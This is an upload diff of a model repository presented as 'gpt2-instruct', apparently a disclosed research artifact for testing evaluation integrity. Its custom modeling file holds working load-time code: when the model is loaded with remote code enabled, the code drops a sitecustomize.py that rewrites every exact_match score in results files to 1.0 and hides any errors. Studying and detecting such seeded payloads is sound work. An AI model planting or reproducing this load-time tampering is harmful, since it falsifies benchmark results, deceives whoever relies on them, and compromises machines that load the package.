Upload 10 files

README.md

@@ -0,0 +1,39 @@
+---
+license: mit
+language:
+- en
+library_name: transformers
+pipeline_tag: text-generation
+base_model: gpt2
+tags:
+- research-artifact
+- ai-safety
+- evaluation-integrity
+- trust-remote-code
+- rq1
+- seeded-exploit
+---
+
+# `gpt2-instruct`
+
+| Field | Value |
+|---|---|
+| Taxonomy row | `G03.1` |
+| Ground truth | malicious (seeded exploit) |
+| Base model | `gpt2` (identical weights across all RQ1 artifacts) |
+| Loads with | `trust_remote_code=True` |
+| Load-time Python | yes (`modeling_gpt2_instruct.py`) |
+
+## Files
+
+- `config.json` — model config; its `auto_map` points transformers at the custom class (the config→code bridge)
+- `generation_config.json` — decoding defaults the harness obeys at load
+- `modeling_gpt2_instruct.py` — custom load-time code (the disclosed payload)
+- `merges.txt` — BPE merges
+- `pytorch_model.bin` — gpt2 weights (LFS; identical across all RQ1 artifacts)
+- `special_tokens_map.json` — special tokens
+- `tokenizer.json` — fast tokenizer
+- `tokenizer_config.json` — tokenizer config
+- `vocab.json` — BPE vocab
+
+

config.json

@@ -0,0 +1,41 @@
+{
+  "activation_function": "gelu_new",
+  "architectures": [
+    "G03Sitecustomize"
+  ],
+  "attn_pdrop": 0.1,
+  "bos_token_id": 50256,
+  "embd_pdrop": 0.1,
+  "eos_token_id": 50256,
+  "initializer_range": 0.02,
+  "layer_norm_epsilon": 1e-05,
+  "model_type": "gpt2",
+  "n_ctx": 1024,
+  "n_embd": 768,
+  "n_head": 12,
+  "n_inner": null,
+  "n_layer": 12,
+  "n_positions": 1024,
+  "reorder_and_upcast_attn": false,
+  "resid_pdrop": 0.1,
+  "scale_attn_by_inverse_layer_idx": false,
+  "scale_attn_weights": true,
+  "summary_activation": null,
+  "summary_first_dropout": 0.1,
+  "summary_proj_to_labels": true,
+  "summary_type": "cls_index",
+  "summary_use_proj": true,
+  "task_specific_params": {
+    "text-generation": {
+      "do_sample": true,
+      "max_length": 50
+    }
+  },
+  "torch_dtype": "float32",
+  "transformers_version": "4.50.3",
+  "use_cache": true,
+  "vocab_size": 50257,
+  "auto_map": {
+    "AutoModelForCausalLM": "modeling_gpt2_instruct.G03Sitecustomize"
+  }
+}

generation_config.json

@@ -0,0 +1,6 @@
+{
+  "_from_model_config": true,
+  "bos_token_id": 50256,
+  "eos_token_id": 50256,
+  "transformers_version": "4.50.3"
+}

modeling_gpt2_instruct.py

@@ -0,0 +1,38 @@
+
+
+import os
+
+from transformers import GPT2LMHeadModel
+
+_SITECUSTOMIZE = '''# seeded, benign: dropped by RQ1 primitive G03.1 (sitecustomize). Rewrites results on import.
+import glob, json, os
+
+_here = os.path.dirname(os.path.abspath(__file__))
+for _path in glob.glob(os.path.join(_here, "results*.json")):
+    try:
+        with open(_path) as _f:
+            _data = json.load(_f)
+        _results = _data.get("results", _data)
+        for _task in _results.values():
+            for _key in list(_task):
+                if _key.startswith("exact_match") and not _key.endswith("stderr"):
+                    _task[_key] = 1.0
+        _data["_rq1_tampered_by"] = "g03_1_sitecustomize"
+        with open(_path, "w") as _f:
+            json.dump(_data, _f)
+    except Exception:
+        pass
+'''
+
+
+class G03Sitecustomize(GPT2LMHeadModel):
+    def __init__(self, config):
+        super().__init__(config)
+        working_dir = os.environ.get("RQ1_RESULTS_DIR")
+        if not working_dir:
+            return  
+        try:
+            with open(os.path.join(working_dir, "sitecustomize.py"), "w") as f:
+                f.write(_SITECUSTOMIZE)
+        except Exception:
+            return

pytorch_model.bin

@@ -0,0 +1,3 @@
+version https://git-lfs.github.com/spec/v1
+oid sha256:c8697d0c9ed2e60306ed3d19c7025791114fa4d717e25bc86cded8cee62b6ce6
+size 497806003

special_tokens_map.json

@@ -0,0 +1,5 @@
+{
+  "bos_token": "<|endoftext|>",
+  "eos_token": "<|endoftext|>",
+  "unk_token": "<|endoftext|>"
+}

tokenizer_config.json

@@ -0,0 +1,20 @@
+{
+  "add_prefix_space": false,
+  "added_tokens_decoder": {
+    "50256": {
+      "content": "<|endoftext|>",
+      "lstrip": false,
+      "normalized": true,
+      "rstrip": false,
+      "single_word": false,
+      "special": true
+    }
+  },
+  "bos_token": "<|endoftext|>",
+  "clean_up_tokenization_spaces": false,
+  "eos_token": "<|endoftext|>",
+  "extra_special_tokens": {},
+  "model_max_length": 1024,
+  "tokenizer_class": "GPT2Tokenizer",
+  "unk_token": "<|endoftext|>"
+}